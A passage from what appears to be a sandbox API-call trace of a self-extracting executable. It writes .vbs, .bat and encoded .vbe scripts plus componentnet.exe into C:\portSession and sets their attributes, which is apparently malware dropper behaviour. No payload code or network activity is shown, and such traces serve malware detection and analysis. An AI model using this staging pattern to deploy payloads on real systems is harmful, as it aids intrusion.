dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0070.792] GetFileType (hFile=0x244) returned 0x1 [0070.792] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xb54) returned 0x4c6cdb8 [0070.793] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xb54) returned 0x4c6d918 [0070.793] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c40020 [0070.797] ReadFile (in: hFile=0x240, lpBuffer=0x7c40020, nNumberOfBytesToRead=0x22, lpNumberOfBytesRead=0x159a78, lpOverlapped=0x0 | out: lpBuffer=0x7c40020*, lpNumberOfBytesRead=0x159a78*=0x22, lpOverlapped=0x0) returned 1 [0070.797] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0xd, lParam=0x0) returned 0x0 [0070.798] PeekMessageW (in: lpMsg=0x159a20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a20) returned 0 [0070.799] PeekMessageW (in: lpMsg=0x159a84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a84) returned 0 [0070.799] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.799] WriteFile (in: hFile=0x244, lpBuffer=0x7c40020*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x159aac, lpOverlapped=0x0 | out: lpBuffer=0x7c40020*, lpNumberOfBytesWritten=0x159aac*=0x22, lpOverlapped=0x0) returned 1 [0070.800] PeekMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a90) returned 0 [0070.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.800] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0xd, lParam=0x0) returned 0xd [0070.800] PeekMessageW (in: lpMsg=0x159a18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a18) returned 0 [0070.800] PeekMessageW (in: lpMsg=0x159a7c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a7c) returned 0 [0070.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.810] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c40020 | out: hHeap=0x4bc0000) returned 1 [0070.831] SetFilePointer (in: hFile=0x240, lDistanceToMove=307426, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x4b0e2 [0070.831] SetFileTime (hFile=0x244, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x159af0) returned 1 [0070.831] CloseHandle (hObject=0x244) returned 1 [0070.833] SetFileAttributesW (lpFileName="file.vbs", dwFileAttributes=0x2020) returned 1 [0070.833] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x4b0e2 [0070.833] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0070.833] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0070.833] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd94a0, Size=0x48) returned 0x4bea190 [0070.834] ReadFile (in: hFile=0x240, lpBuffer=0x4bea197, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bea197*, lpNumberOfBytesRead=0x15cb90*=0x2c, lpOverlapped=0x0) returned 1 [0070.834] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bea190 | out: hHeap=0x4bc0000) returned 1 [0070.834] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="a6kzlkWi3Mn3D.bat", cchCount2=1) returned 1 [0070.835] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="a6kzlkWi3Mn3D.bat", cchCount2=-1) returned 1 [0070.835] SetFilePointer (in: hFile=0x240, lDistanceToMove=307477, lpDistanceToMoveHigh=0x159af0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159af0*=0) returned 0x4b115 [0070.836] LoadStringW (in: hInstance=0xa10000, uID=0x65, lpBuffer=0xa53798, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0070.836] GetLastError () returned 0x0 [0070.836] SetLastError (dwErrCode=0x0) [0070.836] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=101, lpString="Extracting a6kzlkWi3Mn3D.bat") returned 1 [0070.836] PeekMessageW (in: lpMsg=0x1586dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1586dc) returned 0 [0070.837] FindFirstFileW (in: lpFileName="a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.837] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x157880 | out: lpBuffer="C:\\portSession") returned 0xe [0070.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\portSession\\a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.838] GetLastError () returned 0x2 [0070.838] GetFileAttributesW (lpFileName="a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat")) returned 0xffffffff [0070.839] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x156a48 | out: lpBuffer="C:\\portSession") returned 0xe [0070.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\portSession\\a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat")) returned 0xffffffff [0070.839] CreateFileW (lpFileName="a6kzlkWi3Mn3D.bat" (normalized: "c:\\portsession\\a6kzlkwi3mn3d.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0070.840] GetFileType (hFile=0x244) returned 0x1 [0070.840] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c41020 [0070.845] ReadFile (in: hFile=0x240, lpBuffer=0x7c41020, nNumberOfBytesToRead=0x91, lpNumberOfBytesRead=0x159a78, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesRead=0x159a78*=0x91, lpOverlapped=0x0) returned 1 [0070.845] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0xd, lParam=0x0) returned 0xd [0070.845] PeekMessageW (in: lpMsg=0x159a20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a20) returned 0 [0070.845] PeekMessageW (in: lpMsg=0x159a84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a84) returned 0 [0070.845] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.845] WriteFile (in: hFile=0x244, lpBuffer=0x7c41020*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x159aac, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesWritten=0x159aac*=0x91, lpOverlapped=0x0) returned 1 [0070.846] PeekMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a90) returned 0 [0070.846] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.847] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0xd, lParam=0x0) returned 0xd [0070.847] PeekMessageW (in: lpMsg=0x159a18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a18) returned 0 [0070.847] PeekMessageW (in: lpMsg=0x159a7c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a7c) returned 0 [0070.847] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.855] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c41020 | out: hHeap=0x4bc0000) returned 1 [0070.859] SetFilePointer (in: hFile=0x240, lDistanceToMove=307622, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x4b1a6 [0070.859] SetFileTime (hFile=0x244, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x159af0) returned 1 [0070.859] CloseHandle (hObject=0x244) returned 1 [0070.861] SetFileAttributesW (lpFileName="a6kzlkWi3Mn3D.bat", dwFileAttributes=0x2020) returned 1 [0070.861] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x4b1a6 [0070.861] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0070.861] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0070.861] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd94a0, Size=0x48) returned 0x4bea2d0 [0070.861] ReadFile (in: hFile=0x240, lpBuffer=0x4bea2d7, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bea2d7*, lpNumberOfBytesRead=0x15cb90*=0x2c, lpOverlapped=0x0) returned 1 [0070.862] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bea2d0 | out: hHeap=0x4bc0000) returned 1 [0070.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="componentnet.exe", cchCount2=1) returned 1 [0070.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="componentnet.exe", cchCount2=-1) returned 1 [0070.862] SetFilePointer (in: hFile=0x240, lDistanceToMove=307673, lpDistanceToMoveHigh=0x159af0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159af0*=0) returned 0x4b1d9 [0070.862] LoadStringW (in: hInstance=0xa10000, uID=0x65, lpBuffer=0xa53f98, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0070.862] GetLastError () returned 0x0 [0070.862] SetLastError (dwErrCode=0x0) [0070.862] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=101, lpString="Extracting componentnet.exe") returned 1 [0070.863] PeekMessageW (in: lpMsg=0x1586dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1586dc) returned 0 [0070.863] FindFirstFileW (in: lpFileName="componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.863] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x157880 | out: lpBuffer="C:\\portSession") returned 0xe [0070.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0070.863] GetLastError () returned 0x2 [0070.863] GetFileAttributesW (lpFileName="componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe")) returned 0xffffffff [0070.863] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x156a48 | out: lpBuffer="C:\\portSession") returned 0xe [0070.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe")) returned 0xffffffff [0070.864] CreateFileW (lpFileName="componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0070.866] GetFileType (hFile=0x244) returned 0x1 [0070.867] SetFilePointer (in: hFile=0x244, lDistanceToMove=2043392, lpDistanceToMoveHigh=0x159af0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159af0*=0) returned 0x1f2e00 [0070.867] SetEndOfFile (hFile=0x244) returned 1 [0070.867] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x159adc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159adc*=0) returned 0x0 [0070.867] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c41020 [0070.871] ReadFile (in: hFile=0x240, lpBuffer=0x7c41020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x159a78, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesRead=0x159a78*=0x100000, lpOverlapped=0x0) returned 1 [0070.884] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0x39, lParam=0x0) returned 0xd [0070.884] PeekMessageW (in: lpMsg=0x159a20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a20) returned 0 [0070.884] PeekMessageW (in: lpMsg=0x159a84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a84) returned 0 [0070.884] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.884] WriteFile (in: hFile=0x244, lpBuffer=0x7c41020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x159aac, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesWritten=0x159aac*=0x100000, lpOverlapped=0x0) returned 1 [0070.909] PeekMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a90) returned 1 [0070.910] GetMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x159a90) returned 1 [0070.910] IsDialogMessageW (hDlg=0x701ec, lpMsg=0x159a90) returned 0 [0070.910] TranslateMessage (lpMsg=0x159a90) returned 0 [0070.910] DispatchMessageW (lpMsg=0x159a90) returned 0x0 [0070.910] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.910] ReadFile (in: hFile=0x240, lpBuffer=0x7c41020, nNumberOfBytesToRead=0xf2e00, lpNumberOfBytesRead=0x159a70, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesRead=0x159a70*=0xf2e00, lpOverlapped=0x0) returned 1 [0070.967] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x39 [0070.967] PeekMessageW (in: lpMsg=0x159a18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a18) returned 0 [0070.967] PeekMessageW (in: lpMsg=0x159a7c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a7c) returned 0 [0070.967] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.967] WriteFile (in: hFile=0x244, lpBuffer=0x7c41020*, nNumberOfBytesToWrite=0xf2e00, lpNumberOfBytesWritten=0x159aac, lpOverlapped=0x0 | out: lpBuffer=0x7c41020*, lpNumberOfBytesWritten=0x159aac*=0xf2e00, lpOverlapped=0x0) returned 1 [0071.014] PeekMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a90) returned 0 [0071.014] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.014] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0071.014] PeekMessageW (in: lpMsg=0x159a18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a18) returned 0 [0071.015] PeekMessageW (in: lpMsg=0x159a7c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a7c) returned 0 [0071.015] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.024] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c41020 | out: hHeap=0x4bc0000) returned 1 [0071.033] SetFilePointer (in: hFile=0x240, lDistanceToMove=2351065, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x23dfd9 [0071.033] SetFileTime (hFile=0x244, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x159af0) returned 1 [0071.033] CloseHandle (hObject=0x244) returned 1 [0071.130] SetFileAttributesW (lpFileName="componentnet.exe", dwFileAttributes=0x20) returned 1 [0071.130] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x23dfd9 [0071.131] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd94a0 [0071.131] ReadFile (in: hFile=0x240, lpBuffer=0x4bd94a0, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd94a0*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0071.131] RtlReAllocateHeap (Heap=0x4bc0000, Flags=0x0, Ptr=0x4bd94a0, Size=0x48) returned 0x4be9ce0 [0071.131] ReadFile (in: hFile=0x240, lpBuffer=0x4be9ce7, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4be9ce7*, lpNumberOfBytesRead=0x15cb90*=0x33, lpOverlapped=0x0) returned 1 [0071.132] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4be9ce0 | out: hHeap=0x4bc0000) returned 1 [0071.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="lBH8Ae92LPQZTdOYGlDr.vbe", cchCount2=1) returned 1 [0071.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="lBH8Ae92LPQZTdOYGlDr.vbe", cchCount2=-1) returned 1 [0071.132] SetFilePointer (in: hFile=0x240, lDistanceToMove=2351123, lpDistanceToMoveHigh=0x159af0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159af0*=0) returned 0x23e013 [0071.133] LoadStringW (in: hInstance=0xa10000, uID=0x65, lpBuffer=0xa54798, cchBufferMax=1024 | out: lpBuffer="Extracting %s") returned 0xd [0071.133] GetLastError () returned 0x0 [0071.133] SetLastError (dwErrCode=0x0) [0071.133] SetDlgItemTextW (hDlg=0x701ec, nIDDlgItem=101, lpString="Extracting lBH8Ae92LPQZTdOYGlDr.vbe") returned 1 [0071.133] PeekMessageW (in: lpMsg=0x1586dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1586dc) returned 0 [0071.133] FindFirstFileW (in: lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.134] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x157880 | out: lpBuffer="C:\\portSession") returned 0xe [0071.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe"), lpFindFileData=0x1588a4 | out: lpFindFileData=0x1588a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.134] GetLastError () returned 0x2 [0071.134] GetFileAttributesW (lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe")) returned 0xffffffff [0071.134] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x156a48 | out: lpBuffer="C:\\portSession") returned 0xe [0071.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe")) returned 0xffffffff [0071.134] CreateFileW (lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0071.135] GetFileType (hFile=0x244) returned 0x1 [0071.135] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x100000) returned 0x7c4f020 [0071.139] ReadFile (in: hFile=0x240, lpBuffer=0x7c4f020, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x159a78, lpOverlapped=0x0 | out: lpBuffer=0x7c4f020*, lpNumberOfBytesRead=0x159a78*=0xc9, lpOverlapped=0x0) returned 1 [0071.139] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0071.140] PeekMessageW (in: lpMsg=0x159a20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a20) returned 0 [0071.140] PeekMessageW (in: lpMsg=0x159a84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a84) returned 0 [0071.140] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.140] WriteFile (in: hFile=0x244, lpBuffer=0x7c4f020*, nNumberOfBytesToWrite=0xc9, lpNumberOfBytesWritten=0x159aac, lpOverlapped=0x0 | out: lpBuffer=0x7c4f020*, lpNumberOfBytesWritten=0x159aac*=0xc9, lpOverlapped=0x0) returned 1 [0071.142] PeekMessageW (in: lpMsg=0x159a90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a90) returned 0 [0071.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.142] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0071.142] PeekMessageW (in: lpMsg=0x159a18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a18) returned 0 [0071.142] PeekMessageW (in: lpMsg=0x159a7c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x159a7c) returned 0 [0071.142] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0071.157] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c4f020 | out: hHeap=0x4bc0000) returned 1 [0071.162] SetFilePointer (in: hFile=0x240, lDistanceToMove=2351324, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x23e0dc [0071.163] SetFileTime (hFile=0x244, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x159af0) returned 1 [0071.163] CloseHandle (hObject=0x244) returned 1 [0071.165] SetFileAttributesW (lpFileName="lBH8Ae92LPQZTdOYGlDr.vbe", dwFileAttributes=0x2020) returned 1 [0071.165] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x23e0dc [0071.166] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) returned 0x4bd9518 [0071.166] ReadFile (in: hFile=0x240, lpBuffer=0x4bd9518, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd9518*, lpNumberOfBytesRead=0x15cb90*=0x7, lpOverlapped=0x0) returned 1 [0071.166] ReadFile (in: hFile=0x240, lpBuffer=0x4bd951f, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x15cb90, lpOverlapped=0x0 | out: lpBuffer=0x4bd951f*, lpNumberOfBytesRead=0x15cb90*=0xc, lpOverlapped=0x0) returned 1 [0071.166] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bd9518 | out: hHeap=0x4bc0000) returned 1 [0071.166] SetFilePointer (in: hFile=0x240, lDistanceToMove=2351404, lpDistanceToMoveHigh=0x159ae4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x159ae4*=0) returned 0x23e12c [0071.167] SetFilePointer (in: hFile=0x240, lDistanceToMove=0, lpDistanceToMoveHigh=0x15ecd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x15ecd0*=0) returned 0x23e12c [0071.167] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x20) 